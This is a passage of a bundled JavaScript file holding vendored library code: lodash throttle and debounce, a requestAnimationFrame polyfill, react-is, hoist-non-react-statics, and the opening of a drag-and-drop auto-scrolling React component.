        timeSinceLastInvoke = time - lastInvokeTime;

    // Either this is the first call, activity has stopped and we're at the
    // trailing edge, the system time has gone backwards and we're treating
    // it as the trailing edge, or we've hit the `maxWait` limit.
    return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
      (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
  }

  function timerExpired() {
    var time = now();
    if (shouldInvoke(time)) {
      return trailingEdge(time);
    }
    // Restart the timer.
    timerId = setTimeout(timerExpired, remainingWait(time));
  }

  function trailingEdge(time) {
    timerId = undefined;

    // Only invoke if we have `lastArgs` which means `func` has been
    // debounced at least once.
    if (trailing && lastArgs) {
      return invokeFunc(time);
    }
    lastArgs = lastThis = undefined;
    return result;
  }

  function cancel() {
    if (timerId !== undefined) {
      clearTimeout(timerId);
    }
    lastInvokeTime = 0;
    lastArgs = lastCallTime = lastThis = timerId = undefined;
  }

  function flush() {
    return timerId === undefined ? result : trailingEdge(now());
  }

  function debounced() {
    var time = now(),
        isInvoking = shouldInvoke(time);

    lastArgs = arguments;
    lastThis = this;
    lastCallTime = time;

    if (isInvoking) {
      if (timerId === undefined) {
        return leadingEdge(lastCallTime);
      }
      if (maxing) {
        // Handle invocations in a tight loop.
        timerId = setTimeout(timerExpired, wait);
        return invokeFunc(lastCallTime);
      }
    }
    if (timerId === undefined) {
      timerId = setTimeout(timerExpired, wait);
    }
    return result;
  }
  debounced.cancel = cancel;
  debounced.flush = flush;
  return debounced;
}

/**
 * Creates a throttled function that only invokes `func` at most once per
 * every `wait` milliseconds. The throttled function comes with a `cancel`
 * method to cancel delayed `func` invocations and a `flush` method to
 * immediately invoke them. Provide `options` to indicate whether `func`
 * should be invoked on the leading and/or trailing edge of the `wait`
 * timeout. The `func` is invoked with the last arguments provided to the
 * throttled function. Subsequent calls to the throttled function return the
 * result of the last `func` invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the throttled function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
 * for details over the differences between `_.throttle` and `_.debounce`.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Function
 * @param {Function} func The function to throttle.
 * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
 * @param {Object} [options={}] The options object.
 * @param {boolean} [options.leading=true]
 *  Specify invoking on the leading edge of the timeout.
 * @param {boolean} [options.trailing=true]
 *  Specify invoking on the trailing edge of the timeout.
 * @returns {Function} Returns the new throttled function.
 * @example
 *
 * // Avoid excessively updating the position while scrolling.
 * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
 *
 * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
 * var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
 * jQuery(element).on('click', throttled);
 *
 * // Cancel the trailing throttled invocation.
 * jQuery(window).on('popstate', throttled.cancel);
 */
function throttle(func, wait, options) {
  var leading = true,
      trailing = true;

  if (typeof func != 'function') {
    throw new TypeError(FUNC_ERROR_TEXT);
  }
  if (isObject(options)) {
    leading = 'leading' in options ? !!options.leading : leading;
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }
  return debounce(func, wait, {
    'leading': leading,
    'maxWait': wait,
    'trailing': trailing
  });
}

/**
 * Checks if `value` is the
 * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
 * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an object, else `false`.
 * @example
 *
 * _.isObject({});
 * // => true
 *
 * _.isObject([1, 2, 3]);
 * // => true
 *
 * _.isObject(_.noop);
 * // => true
 *
 * _.isObject(null);
 * // => false
 */
function isObject(value) {
  var type = typeof value;
  return !!value && (type == 'object' || type == 'function');
}

/**
 * Checks if `value` is object-like. A value is object-like if it's not `null`
 * and has a `typeof` result of "object".
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
 * @example
 *
 * _.isObjectLike({});
 * // => true
 *
 * _.isObjectLike([1, 2, 3]);
 * // => true
 *
 * _.isObjectLike(_.noop);
 * // => false
 *
 * _.isObjectLike(null);
 * // => false
 */
function isObjectLike(value) {
  return !!value && typeof value == 'object';
}

/**
 * Checks if `value` is classified as a `Symbol` primitive or object.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
 * @example
 *
 * _.isSymbol(Symbol.iterator);
 * // => true
 *
 * _.isSymbol('abc');
 * // => false
 */
function isSymbol(value) {
  return typeof value == 'symbol' ||
    (isObjectLike(value) && objectToString.call(value) == symbolTag);
}

/**
 * Converts `value` to a number.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to process.
 * @returns {number} Returns the number.
 * @example
 *
 * _.toNumber(3.2);
 * // => 3.2
 *
 * _.toNumber(Number.MIN_VALUE);
 * // => 5e-324
 *
 * _.toNumber(Infinity);
 * // => Infinity
 *
 * _.toNumber('3.2');
 * // => 3.2
 */
function toNumber(value) {
  if (typeof value == 'number') {
    return value;
  }
  if (isSymbol(value)) {
    return NAN;
  }
  if (isObject(value)) {
    var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
    value = isObject(other) ? (other + '') : other;
  }
  if (typeof value != 'string') {
    return value === 0 ? value : +value;
  }
  value = value.replace(reTrim, '');
  var isBinary = reIsBinary.test(value);
  return (isBinary || reIsOctal.test(value))
    ? freeParseInt(value.slice(2), isBinary ? 2 : 8)
    : (reIsBadHex.test(value) ? NAN : +value);
}

var lodash_throttle = throttle;

var performanceNow = createCommonjsModule(function (module) {
// Generated by CoffeeScript 1.12.2
(function() {
  var getNanoSeconds, hrtime, loadTime, moduleLoadTime, nodeLoadTime, upTime;

  if ((typeof performance !== "undefined" && performance !== null) && performance.now) {
    module.exports = function() {
      return performance.now();
    };
  } else if ((typeof process !== "undefined" && process !== null) && process.hrtime) {
    module.exports = function() {
      return (getNanoSeconds() - nodeLoadTime) / 1e6;
    };
    hrtime = process.hrtime;
    getNanoSeconds = function() {
      var hr;
      hr = hrtime();
      return hr[0] * 1e9 + hr[1];
    };
    moduleLoadTime = getNanoSeconds();
    upTime = process.uptime() * 1e9;
    nodeLoadTime = moduleLoadTime - upTime;
  } else if (Date.now) {
    module.exports = function() {
      return Date.now() - loadTime;
    };
    loadTime = Date.now();
  } else {
    module.exports = function() {
      return new Date().getTime() - loadTime;
    };
    loadTime = new Date().getTime();
  }

}).call(commonjsGlobal);


});

var root$1 = typeof window === 'undefined' ? commonjsGlobal : window
  , vendors = ['moz', 'webkit']
  , suffix = 'AnimationFrame'
  , raf = root$1['request' + suffix]
  , caf = root$1['cancel' + suffix] || root$1['cancelRequest' + suffix];

for(var i = 0; !raf && i < vendors.length; i++) {
  raf = root$1[vendors[i] + 'Request' + suffix];
  caf = root$1[vendors[i] + 'Cancel' + suffix]
      || root$1[vendors[i] + 'CancelRequest' + suffix];
}

// Some versions of FF have rAF but not cAF
if(!raf || !caf) {
  var last = 0
    , id = 0
    , queue = []
    , frameDuration = 1000 / 60;

  raf = function(callback) {
    if(queue.length === 0) {
      var _now = performanceNow()
        , next = Math.max(0, frameDuration - (_now - last));
      last = next + _now;
      setTimeout(function() {
        var cp = queue.slice(0);
        // Clear queue here to prevent
        // callbacks from appending listeners
        // to the current frame's queue
        queue.length = 0;
        for(var i = 0; i < cp.length; i++) {
          if(!cp[i].cancelled) {
            try{
              cp[i].callback(last);
            } catch(e) {
              setTimeout(function() { throw e }, 0);
            }
          }
        }
      }, Math.round(next));
    }
    queue.push({
      handle: ++id,
      callback: callback,
      cancelled: false
    });
    return id
  };

  caf = function(handle) {
    for(var i = 0; i < queue.length; i++) {
      if(queue[i].handle === handle) {
        queue[i].cancelled = true;
      }
    }
  };
}

var raf_1 = function(fn) {
  // Wrap in a new function to prevent
  // `cancel` potentially being assigned
  // to the native rAF function
  return raf.call(root$1, fn)
};
var cancel = function() {
  caf.apply(root$1, arguments);
};
var polyfill = function(object) {
  if (!object) {
    object = root$1;
  }
  object.requestAnimationFrame = raf;
  object.cancelAnimationFrame = caf;
};
raf_1.cancel = cancel;
raf_1.polyfill = polyfill;

var getDisplayName_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = getDisplayName;
function getDisplayName(Component) {
  return Component.displayName || Component.name || (typeof Component === 'string' && Component.length > 0 ? Component : 'Unknown');
}
});

unwrapExports(getDisplayName_1);

/** @license React v16.13.1
 * react-is.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */
var b="function"===typeof Symbol&&Symbol.for,c=b?Symbol.for("react.element"):60103,d=b?Symbol.for("react.portal"):60106,e=b?Symbol.for("react.fragment"):60107,f=b?Symbol.for("react.strict_mode"):60108,g=b?Symbol.for("react.profiler"):60114,h=b?Symbol.for("react.provider"):60109,k=b?Symbol.for("react.context"):60110,l=b?Symbol.for("react.async_mode"):60111,m=b?Symbol.for("react.concurrent_mode"):60111,n=b?Symbol.for("react.forward_ref"):60112,p=b?Symbol.for("react.suspense"):60113,q=b?
Symbol.for("react.suspense_list"):60120,r=b?Symbol.for("react.memo"):60115,t=b?Symbol.for("react.lazy"):60116,v=b?Symbol.for("react.block"):60121,w=b?Symbol.for("react.fundamental"):60117,x=b?Symbol.for("react.responder"):60118,y=b?Symbol.for("react.scope"):60119;
function z(a){if("object"===typeof a&&null!==a){var u=a.$$typeof;switch(u){case c:switch(a=a.type,a){case l:case m:case e:case g:case f:case p:return a;default:switch(a=a&&a.$$typeof,a){case k:case n:case t:case r:case h:return a;default:return u}}case d:return u}}}function A(a){return z(a)===m}var AsyncMode=l;var ConcurrentMode=m;var ContextConsumer=k;var ContextProvider=h;var Element=c;var ForwardRef=n;var Fragment=e;var Lazy=t;var Memo=r;var Portal=d;
var Profiler=g;var StrictMode=f;var Suspense=p;var isAsyncMode=function(a){return A(a)||z(a)===l};var isConcurrentMode=A;var isContextConsumer=function(a){return z(a)===k};var isContextProvider=function(a){return z(a)===h};var isElement=function(a){return "object"===typeof a&&null!==a&&a.$$typeof===c};var isForwardRef=function(a){return z(a)===n};var isFragment=function(a){return z(a)===e};var isLazy=function(a){return z(a)===t};
var isMemo=function(a){return z(a)===r};var isPortal=function(a){return z(a)===d};var isProfiler=function(a){return z(a)===g};var isStrictMode=function(a){return z(a)===f};var isSuspense=function(a){return z(a)===p};
var isValidElementType=function(a){return "string"===typeof a||"function"===typeof a||a===e||a===m||a===g||a===f||a===p||a===q||"object"===typeof a&&null!==a&&(a.$$typeof===t||a.$$typeof===r||a.$$typeof===h||a.$$typeof===k||a.$$typeof===n||a.$$typeof===w||a.$$typeof===x||a.$$typeof===y||a.$$typeof===v)};var typeOf=z;

var reactIs_production_min = {
	AsyncMode: AsyncMode,
	ConcurrentMode: ConcurrentMode,
	ContextConsumer: ContextConsumer,
	ContextProvider: ContextProvider,
	Element: Element,
	ForwardRef: ForwardRef,
	Fragment: Fragment,
	Lazy: Lazy,
	Memo: Memo,
	Portal: Portal,
	Profiler: Profiler,
	StrictMode: StrictMode,
	Suspense: Suspense,
	isAsyncMode: isAsyncMode,
	isConcurrentMode: isConcurrentMode,
	isContextConsumer: isContextConsumer,
	isContextProvider: isContextProvider,
	isElement: isElement,
	isForwardRef: isForwardRef,
	isFragment: isFragment,
	isLazy: isLazy,
	isMemo: isMemo,
	isPortal: isPortal,
	isProfiler: isProfiler,
	isStrictMode: isStrictMode,
	isSuspense: isSuspense,
	isValidElementType: isValidElementType,
	typeOf: typeOf
};

var reactIs_development = createCommonjsModule(function (module, exports) {



if (process.env.NODE_ENV !== "production") {
  (function() {

// The Symbol used to tag the ReactElement-like types. If there is no native Symbol
// nor polyfill, then a plain number is used for performance.
var hasSymbol = typeof Symbol === 'function' && Symbol.for;
var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7;
var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca;
var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb;
var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc;
var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2;
var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd;
var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary
// (unstable) APIs that have been removed. Can we remove the symbols?

var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf;
var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf;
var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0;
var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1;
var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8;
var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3;
var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4;
var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9;
var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5;
var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6;
var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7;

function isValidElementType(type) {
  return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
  type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE);
}

function typeOf(object) {
  if (typeof object === 'object' && object !== null) {
    var $$typeof = object.$$typeof;

    switch ($$typeof) {
      case REACT_ELEMENT_TYPE:
        var type = object.type;

        switch (type) {
          case REACT_ASYNC_MODE_TYPE:
          case REACT_CONCURRENT_MODE_TYPE:
          case REACT_FRAGMENT_TYPE:
          case REACT_PROFILER_TYPE:
          case REACT_STRICT_MODE_TYPE:
          case REACT_SUSPENSE_TYPE:
            return type;

          default:
            var $$typeofType = type && type.$$typeof;

            switch ($$typeofType) {
              case REACT_CONTEXT_TYPE:
              case REACT_FORWARD_REF_TYPE:
              case REACT_LAZY_TYPE:
              case REACT_MEMO_TYPE:
              case REACT_PROVIDER_TYPE:
                return $$typeofType;

              default:
                return $$typeof;
            }

        }

      case REACT_PORTAL_TYPE:
        return $$typeof;
    }
  }

  return undefined;
} // AsyncMode is deprecated along with isAsyncMode

var AsyncMode = REACT_ASYNC_MODE_TYPE;
var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE;
var ContextConsumer = REACT_CONTEXT_TYPE;
var ContextProvider = REACT_PROVIDER_TYPE;
var Element = REACT_ELEMENT_TYPE;
var ForwardRef = REACT_FORWARD_REF_TYPE;
var Fragment = REACT_FRAGMENT_TYPE;
var Lazy = REACT_LAZY_TYPE;
var Memo = REACT_MEMO_TYPE;
var Portal = REACT_PORTAL_TYPE;
var Profiler = REACT_PROFILER_TYPE;
var StrictMode = REACT_STRICT_MODE_TYPE;
var Suspense = REACT_SUSPENSE_TYPE;
var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated

function isAsyncMode(object) {
  {
    if (!hasWarnedAboutDeprecatedIsAsyncMode) {
      hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint

      console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');
    }
  }

  return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
}
function isConcurrentMode(object) {
  return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
}
function isContextConsumer(object) {
  return typeOf(object) === REACT_CONTEXT_TYPE;
}
function isContextProvider(object) {
  return typeOf(object) === REACT_PROVIDER_TYPE;
}
function isElement(object) {
  return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
}
function isForwardRef(object) {
  return typeOf(object) === REACT_FORWARD_REF_TYPE;
}
function isFragment(object) {
  return typeOf(object) === REACT_FRAGMENT_TYPE;
}
function isLazy(object) {
  return typeOf(object) === REACT_LAZY_TYPE;
}
function isMemo(object) {
  return typeOf(object) === REACT_MEMO_TYPE;
}
function isPortal(object) {
  return typeOf(object) === REACT_PORTAL_TYPE;
}
function isProfiler(object) {
  return typeOf(object) === REACT_PROFILER_TYPE;
}
function isStrictMode(object) {
  return typeOf(object) === REACT_STRICT_MODE_TYPE;
}
function isSuspense(object) {
  return typeOf(object) === REACT_SUSPENSE_TYPE;
}

exports.AsyncMode = AsyncMode;
exports.ConcurrentMode = ConcurrentMode;
exports.ContextConsumer = ContextConsumer;
exports.ContextProvider = ContextProvider;
exports.Element = Element;
exports.ForwardRef = ForwardRef;
exports.Fragment = Fragment;
exports.Lazy = Lazy;
exports.Memo = Memo;
exports.Portal = Portal;
exports.Profiler = Profiler;
exports.StrictMode = StrictMode;
exports.Suspense = Suspense;
exports.isAsyncMode = isAsyncMode;
exports.isConcurrentMode = isConcurrentMode;
exports.isContextConsumer = isContextConsumer;
exports.isContextProvider = isContextProvider;
exports.isElement = isElement;
exports.isForwardRef = isForwardRef;
exports.isFragment = isFragment;
exports.isLazy = isLazy;
exports.isMemo = isMemo;
exports.isPortal = isPortal;
exports.isProfiler = isProfiler;
exports.isStrictMode = isStrictMode;
exports.isSuspense = isSuspense;
exports.isValidElementType = isValidElementType;
exports.typeOf = typeOf;
  })();
}
});
var reactIs_development_1 = reactIs_development.AsyncMode;
var reactIs_development_2 = reactIs_development.ConcurrentMode;
var reactIs_development_3 = reactIs_development.ContextConsumer;
var reactIs_development_4 = reactIs_development.ContextProvider;
var reactIs_development_5 = reactIs_development.Element;
var reactIs_development_6 = reactIs_development.ForwardRef;
var reactIs_development_7 = reactIs_development.Fragment;
var reactIs_development_8 = reactIs_development.Lazy;
var reactIs_development_9 = reactIs_development.Memo;
var reactIs_development_10 = reactIs_development.Portal;
var reactIs_development_11 = reactIs_development.Profiler;
var reactIs_development_12 = reactIs_development.StrictMode;
var reactIs_development_13 = reactIs_development.Suspense;
var reactIs_development_14 = reactIs_development.isAsyncMode;
var reactIs_development_15 = reactIs_development.isConcurrentMode;
var reactIs_development_16 = reactIs_development.isContextConsumer;
var reactIs_development_17 = reactIs_development.isContextProvider;
var reactIs_development_18 = reactIs_development.isElement;
var reactIs_development_19 = reactIs_development.isForwardRef;
var reactIs_development_20 = reactIs_development.isFragment;
var reactIs_development_21 = reactIs_development.isLazy;
var reactIs_development_22 = reactIs_development.isMemo;
var reactIs_development_23 = reactIs_development.isPortal;
var reactIs_development_24 = reactIs_development.isProfiler;
var reactIs_development_25 = reactIs_development.isStrictMode;
var reactIs_development_26 = reactIs_development.isSuspense;
var reactIs_development_27 = reactIs_development.isValidElementType;
var reactIs_development_28 = reactIs_development.typeOf;

var reactIs = createCommonjsModule(function (module) {

if (process.env.NODE_ENV === 'production') {
  module.exports = reactIs_production_min;
} else {
  module.exports = reactIs_development;
}
});

/**
 * Copyright 2015, Yahoo! Inc.
 * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
 */
var REACT_STATICS = {
  childContextTypes: true,
  contextType: true,
  contextTypes: true,
  defaultProps: true,
  displayName: true,
  getDefaultProps: true,
  getDerivedStateFromError: true,
  getDerivedStateFromProps: true,
  mixins: true,
  propTypes: true,
  type: true
};
var KNOWN_STATICS = {
  name: true,
  length: true,
  prototype: true,
  caller: true,
  callee: true,
  arguments: true,
  arity: true
};
var FORWARD_REF_STATICS = {
  '$$typeof': true,
  render: true,
  defaultProps: true,
  displayName: true,
  propTypes: true
};
var MEMO_STATICS = {
  '$$typeof': true,
  compare: true,
  defaultProps: true,
  displayName: true,
  propTypes: true,
  type: true
};
var TYPE_STATICS = {};
TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS;
TYPE_STATICS[reactIs.Memo] = MEMO_STATICS;

function getStatics(component) {
  // React v16.11 and below
  if (reactIs.isMemo(component)) {
    return MEMO_STATICS;
  } // React v16.12 and above


  return TYPE_STATICS[component['$$typeof']] || REACT_STATICS;
}

var defineProperty = Object.defineProperty;
var getOwnPropertyNames = Object.getOwnPropertyNames;
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
var getPrototypeOf = Object.getPrototypeOf;
var objectPrototype = Object.prototype;
function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
  if (typeof sourceComponent !== 'string') {
    // don't hoist over string (html) components
    if (objectPrototype) {
      var inheritedComponent = getPrototypeOf(sourceComponent);

      if (inheritedComponent && inheritedComponent !== objectPrototype) {
        hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
      }
    }

    var keys = getOwnPropertyNames(sourceComponent);

    if (getOwnPropertySymbols) {
      keys = keys.concat(getOwnPropertySymbols(sourceComponent));
    }

    var targetStatics = getStatics(targetComponent);
    var sourceStatics = getStatics(sourceComponent);

    for (var i = 0; i < keys.length; ++i) {
      var key = keys[i];

      if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) {
        var descriptor = getOwnPropertyDescriptor(sourceComponent, key);

        try {
          // Avoid failures from read-only properties
          defineProperty(targetComponent, key, descriptor);
        } catch (e) {}
      }
    }
  }

  return targetComponent;
}

var hoistNonReactStatics_cjs = hoistNonReactStatics;

var util = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.noop = noop;
exports.intBetween = intBetween;
exports.getCoords = getCoords;

function noop() {}

function intBetween(min, max, val) {
  return Math.floor(Math.min(max, Math.max(min, val)));
}

function getCoords(evt) {
  if (evt.type === 'touchmove') {
    return {
      x: evt.changedTouches[0].clientX,
      y: evt.changedTouches[0].clientY
    };
  }

  return {
    x: evt.clientX,
    y: evt.clientY
  };
}
});

unwrapExports(util);
var util_1 = util.noop;
var util_2 = util.intBetween;
var util_3 = util.getCoords;

var lib = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createHorizontalStrength = createHorizontalStrength;
exports.createVerticalStrength = createVerticalStrength;
exports.createScrollingComponent = createScrollingComponent;
exports.default = createScrollingComponentWithConsumer;
exports.defaultVerticalStrength = exports.defaultHorizontalStrength = void 0;

var _react = _interopRequireWildcard(React);

var _propTypes = _interopRequireDefault(PropTypes);

var _lodash = _interopRequireDefault(lodash_throttle);

var _raf = _interopRequireDefault(raf_1);

var _reactDisplayName = _interopRequireDefault(getDisplayName_1);



var _hoistNonReactStatics = _interopRequireDefault(hoistNonReactStatics_cjs);



function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } }

function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }

function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }

function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

var DEFAULT_BUFFER = 150;

function createHorizontalStrength(_buffer) {
  return function defaultHorizontalStrength(_ref, point) {
    var x = _ref.x,
        w = _ref.w,
        y = _ref.y,
        h = _ref.h;
    var buffer = Math.min(w / 2, _buffer);
    var inRange = point.x >= x && point.x <= x + w;
    var inBox = inRange && point.y >= y && point.y <= y + h;

    if (inBox) {
      if (point.x < x + buffer) {
        return (point.x - x - buffer) / buffer;
      }

      if (point.x > x + w - buffer) {
        return -(x + w - point.x - buffer) / buffer;
      }
    }

    return 0;
  };
}

function createVerticalStrength(_buffer) {
  return function defaultVerticalStrength(_ref2, point) {
    var y = _ref2.y,
        h = _ref2.h,
        x = _ref2.x,
        w = _ref2.w;
    var buffer = Math.min(h / 2, _buffer);
    var inRange = point.y >= y && point.y <= y + h;
    var inBox = inRange && point.x >= x && point.x <= x + w;

    if (inBox) {
      if (point.y < y + buffer) {
        return (point.y - y - buffer) / buffer;
      }

      if (point.y > y + h - buffer) {
        return -(y + h - point.y - buffer) / buffer;
      }
    }

    return 0;
  };
}

var defaultHorizontalStrength = createHorizontalStrength(DEFAULT_BUFFER);
exports.defaultHorizontalStrength = defaultHorizontalStrength;
var defaultVerticalStrength = createVerticalStrength(DEFAULT_BUFFER);
exports.defaultVerticalStrength = defaultVerticalStrength;

function createScrollingComponent(WrappedComponent) {
  var ScrollingComponent =
  /*#__PURE__*/
  function (_Component) {
    _inherits(ScrollingComponent, _Component);

    // Update scaleX and scaleY every 100ms or so
    // and start scrolling if necessary
    function ScrollingComponent(props, ctx) {
      var _this;

      _classCallCheck(this, ScrollingComponent);

      _this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollingComponent).call(this, props, ctx));

      _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "updateScrolling", (0, _lodash.default)(function (evt) {
        var _this$container$getBo = _this.container.getBoundingClientRect(),
            x = _this$container$getBo.left,
            y = _this$container$getBo.top,
            w = _this$container$getBo.width,
            h = _this$container$getBo.height;

        var box = {
          x: x,
          y: y,
          w: w,
          h: h
        };
        var coords = (0, util.getCoords)(evt); // calculate strength

        var _this$props = _this.props,
            horizontalStrength = _this$props.horizontalStrength,
            verticalStrength = _this$props.verticalStrength;
